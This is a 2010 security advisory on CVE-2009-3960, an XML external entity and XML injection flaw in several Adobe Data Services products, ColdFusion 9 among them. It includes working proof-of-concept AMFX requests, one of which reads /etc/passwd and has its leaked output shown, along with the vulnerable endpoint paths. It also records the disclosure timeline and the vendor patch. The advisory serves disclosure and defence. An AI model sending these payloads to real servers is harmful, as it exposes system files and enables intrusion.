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Multiple Adobe Products - XML External Entity And XML Injection Vulnerabilities
From: Roberto Suggi Liverani <roberto.suggi () security-assessment com>
Date: Mon, 22 Feb 2010 12:01:42 +1300


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                presents..

Multiple Adobe Products
XML External Entity And XML Injection Vulnerabilities

CVE: CVE-2009-3960
Adobe PSIRT: APSB10-05 - http://www.adobe.com/support/security/bulletins/apsb10-05.html
Link: 
http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf

+-----------+
|Description|
+-----------+

Security-Assessment.com discovered that multiple Adobe 
products with different Data Services versions are 
vulnerable to XML External Entity (XXE) and XML 
injection attacks. 
XML external Entities injection allows a wide range of
XML based attacks, including local file disclosure, 
TCP scans and Denial of Service condition, which can 
be achieved by recursive entity injection, attribute 
blow up and other types of injection. 
For more information about the implications associated
to this vulnerability, refer to the RFC2518 (17.7 
Implications of XML External Entities): 
http://www.ietf.org/rfc/rfc2518.txt

+--------------+
|Product Review|
+--------------+

Adobe Data Services components provide Flex/RIA 
applications with data messaging, remoting and 
management capabilities.

The discovered vulnerabilities affect the HTTPChannel
 servlet classes which are respectively 
“mx.messaging.channels.HTTPChannel” and 
“mx.messaging.channels.SecureHTTPChannel”. These 
classes are part of the Data Services Messaging 
classes and can be found in the 
flex-messaging-common.jar Java archive.

The HTTPChannel transports data in the AMFX format, 
which is the text-based XML representation of AMF. 
The HTTPChannel endpoints are defined in the 
services-config.xml file, located within the 
Flex/WEB-INF folder of the application. 
By default, the HTTPChannel classes are mapped to 
the following endpoints:

1. http://{server.name}:{server.port}/{context.root}/messagebroker/http
2. https://{server.name}:{server.port}/{context.root}/messagebroker/httpsecure

Note that the HTTPChannel may be mapped to different 
endpoints. 
This depends on the deployed application and the 
framework in use (e.g. BlazeDS, Adobe LiveCycle 
Data Services, etc.).

+--------------------------------------------+
|Exploitation - XML External Entity Injection|
+--------------------------------------------+

XML entities can be declared and included within AMFX
requests passed to the HTTPChannel. The XML parser 
parses the payload and successfully processes 
injected entities.

The following table shows an example of XML external
entity injection which leads to local file disclosure.
The AMFX request is sent via the HTTPChannel endpoint
in BlazeDS.

XML External Entity Injection – Local File Disclosure
PoC – BlazeDS – Request

POST /samples/messagebroker/http HTTP/1.1
Content-type: application/x-amf

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [ <!ENTITY x3 SYSTEM "/etc/passwd"> ]>
<amfx ver="3" xmlns="http://www.macromedia.com/2005/amfx";>
  <body>
    <object type="flex.messaging.messages.CommandMessage">
      <traits>
        <string>body</string><string>clientId</string><string>correlationId</string>
        <string>destination</string><string>headers</string><string>messageId</string>
        <string>operation</string><string>timestamp</string><string>timeToLive</string>
      </traits><object><traits />
      </object>
      <null /><string /><string />
      <object>
        <traits>
          <string>DSId</string><string>DSMessagingVersion</string>
        </traits>
        <string>nil</string><int>1</int>
      </object>
      <string>&x3;</string>
<int>5</int><int>0</int><int>0</int>
    </object>
  </body>
</amfx>


XML External Entity Injection – Local File Inclusion
PoC – BlazeDS – Response

<?xml version="1.0" encoding="utf-8"?>
<amfx ver="3"><header name="AppendToGatewayUrl" mustUnderstand="true">
<string>;jsessionid=2191D3647221B72039C5B05D38084A42</string></header>
<body targetURI="/onResult" responseURI="">
<object type="flex.messaging.messages.AcknowledgeMessage">
<traits><string>timestamp</string><string>headers</string>
<string>body</string><string>correlationId</string>
<string>messageId</string><string>timeToLive</string>
<string>clientId</string><string>destination</string>
</traits><double>1.257387140632E12</double><object>
<traits><string>DSMessagingVersion</string>
<string>DSId</string></traits><double>1.0</double>
<string>BDE929FE-270D-3B56-1061-616E8B938429</string>
</object><null/><string>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
[...]


The above injection was successfully tested on 
multiple Adobe products, as shown below:

1. Product: Adobe BlazeDS 3.2.0.39
Linux Ubuntu 9.04 / Tomcat 6.0.14

Endpoint URIs:

{server.name}:{server.port}/
{context.root}/messagebroker/http
{server.name}:{server.port}/
{context.root}/messagebroker/httpsecure 

Methods: POST, GET
Protocols: HTTP, HTTPS


2. Adobe LiveCycle Data Services ES2 3.0
Windows XP SP2 / Tomcat 6.0.14

Endpoint URIs:

{server.name}:{server.port}/
{context.root}/messagebroker/http
{server.name}:{server.port}/
{context.root}/messagebroker/httpsecure 

Methods: POST, GET
Protocols: HTTP, HTTPS

3. ColdFusion 9.0
Windows XP SP2 / Tomcat 6.0.14

Endpoint URIs:

{server.name}:{server.port}/
{context.root}/flex2gateway/http
{server.name}:{server.port}/
{context.root}/flex2gateway/httpsecure  

Methods: POST, GET
Protocols: HTTP, HTTPS

4. Adobe LiveCycle ES2
Windows XP SP2 / IBM Websphere 7.0

Endpoint URIs:

{server.name}:{server.port}/
{context.root}/messagebroker/http
{server.name}:{server.port}/
{context.root}/messagebroker/httpsecure 

Methods: POST, GET
Protocols: HTTP, HTTPS

The vendor has released several patches for this 
vulnerability. See the Solution section of this 
document for more information.

+----------------------------+
|Exploitation - XML Injection|
+----------------------------+

The XML parser lacks of proper input and output 
validation controls. Security-Assessment.com managed
to inject arbitrary XML content which was returned
in the XML response. 
The following table shows an XML injection in the 
BlazeDS HTTPChannel. The injected payload becomes 
part of the response. In this case, injection is 
possible via the “responseURI” attribute.

XMLInjection – BlazeDS - Request

POST /samples/messagebroker/http HTTP/1.1
Content-type: application/x-amf

<?xml version="1.0" encoding="utf-8"?>
<amfx ver="3"><body targetURI="" responseURI="d&quot; injectedattr=&quot;anything"><null/>
</body></amfx>

XMLInjection – BlazeDS - Response

<?xml version="1.0" encoding="utf-8"?>
<amfx ver="3"><body targetURI="d" injectedattr="anything" responseURI=""><null/></body></amfx></body></amfx>

The above injection was successfully tested on 
multiple Adobe products, as shown below:

1. Product: Adobe BlazeDS 3.2.0.39
Linux Ubuntu 9.04 / Tomcat 6.0.14

Endpoint URIs:

{server.name}:{server.port}/
{context.root}/messagebroker/http
{server.name}:{server.port}/
{context.root}/messagebroker/httpsecure 

Methods: POST, GET
Protocols: HTTP, HTTPS


2. Adobe LiveCycle Data Services ES2 3.0
Windows XP SP2 / Tomcat 6.0.14

Endpoint URIs:

{server.name}:{server.port}/
{context.root}/messagebroker/http
{server.name}:{server.port}/
{context.root}/messagebroker/httpsecure 

Methods: POST, GET
Protocols: HTTP, HTTPS

3. ColdFusion 9.0
Windows XP SP2 / Tomcat 6.0.14

Endpoint URIs:

{server.name}:{server.port}/
{context.root}/flex2gateway/http
{server.name}:{server.port}/
{context.root}/flex2gateway/httpsecure  

Methods: POST, GET
Protocols: HTTP, HTTPS

4. Adobe LiveCycle ES2
Windows XP SP2 / IBM Websphere 7.0

Endpoint URIs:

{server.name}:{server.port}/
{context.root}/messagebroker/http
{server.name}:{server.port}/
{context.root}/messagebroker/httpsecure 

Methods: POST, GET
Protocols: HTTP, HTTPS


The vendor has released several patches for this 
vulnerability. See the Solution section of this 
document for more information.


+--------+
|Solution|
+--------+

Security-Assessment.com follows responsible
disclosure and promptly contacted the vendor after 
discovering the issues. The vendor was contacted on 
the 6th November 2009 and a reply was received on the
same day. The vendor released security patches on 
the 11th February 2010.
  
The security patches can be downloaded at the 
following website: 

http://www.adobe.com/support/security/bulletins/apsb10-05.html


+------+
|Credit|
+------+

Discovered and advised to Adobe in
November 2009 by Roberto Suggi Liverani of Security-
Assessment.com. Personal Page: http://malerisch.net/

For full details regarding this vulnerability
download the PDF from our website:

http://www.security-assessment.com/files/advisories/2010-02-22_Multiple_Adobe_Products-XML_External_Entity_and_XML_Injection.pdf


+---------+
|Greetings|
+---------+

Bug found at Hack in The Sun 2009, Waiheke Island.


+-----------------------------+
|About Security-Assessment.com|
+-----------------------------+

Security-Assessment.com is a New Zealand based world
leader in web application testing, network security
and penetration testing. Security-Assessment.com
services organisations across New Zealand, Australia,
Asia Pacific, the United States and the United
Kingdom.

Roberto Suggi Liverani

_______________________________________________
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